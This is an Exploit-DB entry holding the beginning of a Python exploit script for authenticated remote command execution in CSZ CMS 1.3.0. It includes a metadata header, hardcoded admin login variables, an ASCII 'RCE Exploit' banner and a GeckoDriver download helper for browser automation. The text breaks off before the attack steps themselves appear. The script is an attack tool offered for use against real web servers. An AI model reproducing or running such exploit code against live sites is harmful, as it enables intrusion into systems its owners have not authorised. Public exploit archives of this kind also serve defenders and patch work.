Exploit-DB #51863
Description: CSZ CMS Version 1.3.0 - Authenticated Remote Command Execution
Type: webapps
Platform: php
Date: 2024-03-06
Author: tmrswrr

Exploit:
# Exploit Title: CSZ CMS Version 1.3.0 Remote Command Execution
# Date: 17/11/2023
# Exploit Author: tmrswrr
# Vendor Homepage: https://www.cszcms.com/
# Software Link: https://www.cszcms.com/link/3#https://sourceforge.net/projects/cszcms/files/latest/download
# Version: Version 1.3.0
# Tested on: https://www.softaculous.com/apps/cms/CSZ_CMS


import os
import zipfile
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.firefox.options import Options as FirefoxOptions
from selenium.webdriver.firefox.service import Service as FirefoxService
from webdriver_manager.firefox import GeckoDriverManager
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.common.exceptions import NoSuchElementException, TimeoutException
import requests
from time import sleep
import sys
import random
import time
import platform
import tarfile
from io import BytesIO

email = "admin@admin.com" 
[CREDENTIAL_REDACTED]"

class colors:
    OKBLUE = '\033[94m'
    WARNING = '\033[93m'
    FAIL = '\033[91m'
    ENDC = '\033[0m'
    BOLD = '\033[1m'
    UNDERLINE = '\033[4m'
    CBLACK = '\33[30m'
    CRED = '\33[31m'
    CGREEN = '\33[32m'
    CYELLOW = '\33[33m'
    CBLUE = '\33[34m'
    CVIOLET = '\33[35m'
    CBEIGE = '\33[36m'
    CWHITE = '\33[37m'


color_random = [colors.CBLUE, colors.CVIOLET, colors.CWHITE, colors.OKBLUE, colors.CGREEN, colors.WARNING,
                colors.CRED, colors.CBEIGE]
random.shuffle(color_random)


def entryy():
    x = color_random[0] + """

в•ӯв”Ғв”Ғв”Ғв”ів”Ғв”Ғв”Ғв”ів”Ғв”Ғв”Ғв”Ғв•®в•ӯв”Ғв”Ғв”Ғв”ів”Ғв•®в•ӯв”Ғв”ів”Ғв”Ғв”Ғв•®в•ӯв”Ғв”Ғв”Ғв”ів”Ғв”Ғв”Ғв”ів”Ғв”Ғв”Ғв•®в•ӯв”Ғв”Ғв”Ғв”ів”Ғв•®в•ӯв”Ғв”ів”Ғв”Ғв”Ғв”ів•®в•ұв•ұв•ӯв”Ғв”Ғв”Ғв”ів”Ғв”Ғв”ів”Ғв”Ғв”Ғв”Ғв•®
в”ғв•ӯв”Ғв•®в”ғв•ӯв”Ғв•®в”Јв”Ғв”Ғв•®в”Ғв”ғв”ғв•ӯв”Ғв•®в”ғв”ғв•°в•Ҝв”ғв”ғв•ӯв”Ғв•®в”ғв”ғв•ӯв”Ғв•®в”ғв•ӯв”Ғв•®в”ғв•ӯв”Ғв”Ғв•Ҝв”ғв•ӯв”Ғв”Ғв”»в•®в•°в•Ҝв•ӯв”«в•ӯв”Ғв•®в”ғв”ғв•ұв•ұв”ғв•ӯв”Ғв•®в”Јв”«в”Јв”«в•ӯв•®в•ӯв•®в”ғ
в”ғв”ғв•ұв•°в”«в•°в”Ғв”Ғв•®в•ұв•ӯв•Ҝв•ӯв•Ҝв”ғв”ғв•ұв•°в”«в•ӯв•®в•ӯв•®в”ғв•°в”Ғв”Ғв•®в”ғв•°в”Ғв•Ҝв”ғв”ғв•ұв•°в”«в•°в”Ғв”Ғв•®в”ғв•°в”Ғв”Ғв•®в•°в•®в•ӯв•Ҝв”ғв•°в”Ғв•Ҝв”ғв”ғв•ұв•ұв”ғв”ғв•ұв”ғв”ғв”ғв”ғв•°в•Ҝв”ғв”ғв•°в•Ҝ
в”ғв”ғв•ұв•ӯв•Ӣв”Ғв”Ғв•®в”ғв•ӯв•Ҝв•ӯв•Ҝв•ұв”ғв”ғв•ұв•ӯв”«в”ғв”ғв”ғв”ғв”Јв”Ғв”Ғв•®в”ғв”ғв•ӯв•®в•ӯв”«в”ғв•ұв•ӯв”«в•ӯв”Ғв”Ғв•Ҝв”ғв•ӯв”Ғв”Ғв•Ҝв•ӯв•Ҝв•°в•®в”ғв•ӯв”Ғв”Ғв”«в”ғв•ұв•ӯв”«в”ғв•ұв”ғв”ғв”ғв”ғв•ұв•ұв”ғв”ғ
в”ғв•°в”Ғв•Ҝв”ғв•°в”Ғв•Ҝв”Јв•Ҝв”Ғв•°в”Ғв•®в”ғв•°в”Ғв•Ҝв”ғв”ғв”ғв”ғв”ғв”ғв•°в”Ғв•Ҝв”ғв”ғв”ғв”ғв•°в”«в•°в”Ғв•Ҝв”ғв•°в”Ғв”Ғв•®в”ғв•°в”Ғв”Ғв”ів•Ҝв•ӯв•®в•°в”«в”ғв•ұв•ұв”ғв•°в”Ғв•Ҝв”ғв•°в”Ғв•Ҝв”Јв”«в”Јв•®в•ұв”ғв”ғ
в•°в”Ғв”Ғв”Ғв”»в”Ғв”Ғв”Ғв”»в”Ғв”Ғв”Ғв”Ғв•Ҝв•°в”Ғв”Ғв”Ғв”»в•Ҝв•°в•Ҝв•°в”»в”Ғв”Ғв”Ғв•Ҝв•°в•Ҝв•°в”Ғв”»в”Ғв”Ғв”Ғв”»в”Ғв”Ғв”Ғв•Ҝв•°в”Ғв”Ғв”Ғв”»в”Ғв•Ҝв•°в”Ғв”»в•Ҝв•ұв•ұв•°в”Ғв”Ғв”Ғв”»в”Ғв”Ғв”Ғв”»в”Ғв”Ғв•Ҝв•ұв•°в•Ҝ

                <<   CSZ CMS Version 1.3.0 RCE     >>
                <<      CODED BY TMRSWRR           >>
                <<     GITHUB==>capture0x          >>

\n"""
    for c in x:
        print(c, end='')
        sys.stdout.flush()
        sleep(0.0045)
    oo = " " * 6 + 29 * "в–‘вЈҝ" + "\n\n"
    for c in oo:
        print(colors.CGREEN + c, end='')
        sys.stdout.flush()
        sleep(0.0065)

    tt = " " * 5 + "в–‘вЈҝ" + " " * 6 + "WELCOME TO CSZ CMS Version 1.3.0 RCE Exploit" + " " * 7 + "в–‘вЈҝ" + "\n\n"
    for c in tt:
        print(colors.CWHITE + c, end='')
        sys.stdout.flush()
        sleep(0.0065)
    xx = " " * 6 + 29 * "в–‘вЈҝ" + "\n\n"
    for c in xx:
        print(colors.CGREEN + c, end='')
        sys.stdout.flush()
        sleep(0.0065)

def check_geckodriver():
    current_directory = os.path.dirname(os.path.abspath(__file__))
    geckodriver_path = os.path.join(current_directory, 'geckodriver')

    if not os.path.isfile(geckodriver_path):
        red = "\033[91m"
        reset = "\033[0m"
        print(red + "\n\nGeckoDriver (geckodriver) is not available in the script's directory." + reset)
        user_input = input("Would you like to download it now? (yes/no): ").lower()
        if user_input == 'yes':
            download_geckodriver(current_directory)
        else:
            print(red + "Please download GeckoDriver manually from: https://github.com/mozilla/geckodriver/releases" + reset)
            sys.exit(1)

def download_geckodriver(directory):

    print("[*] Detecting OS and architecture...")
    os_name = platform.system().lower()
    arch, _ = platform.architecture()

    if os_name == "linux":
        os_name = "linux"
        arch = "64" if arch == "64bit" else "32"
    elif os_name == "darwin":
        os_name = "macos"
        arch = "aarch64" if platform.processor() == "arm" else ""
    elif os_name == "windows":
        os_name = "win"
        arch = "64" if arch == "64bit" else "32"
    else:
        print("[!] Unsupported operating system.")
        sys.exit(1)

    geckodriver_version = "v0.33.0"
    geckodriver_file = f"geckodriver-{geckodriver_version}-{os_name}{arch}"
    ext = "zip" if os_name == "win" else "tar.gz"
    url = f"https://github.com/mozilla/geckodriver/releases/download/{geckodriver_version}/{geckodriver_file}.{ext}"

    print(f"[*] Downloading GeckoDriver for {platform.system()} {arch}-bit...")
    response = requests.get(url, stream=True)

    if response.status_code == 200:
        print("[*] Extracting GeckoDriver...")
        if ext == "tar.gz":
            with tarfile.open(fileobj=BytesIO(response.content), mode="r:gz") as tar:
                tar.extractall(path=directory)
        else:   
            with zipfile.ZipFile(BytesIO(response.content)) as zip_ref:
                zip_ref.extractall(directory)
        print("[+] GeckoDriver downloaded and extracted successfully.")
    else:
        print("[!] Failed to download GeckoDriver.")
        sys.exit(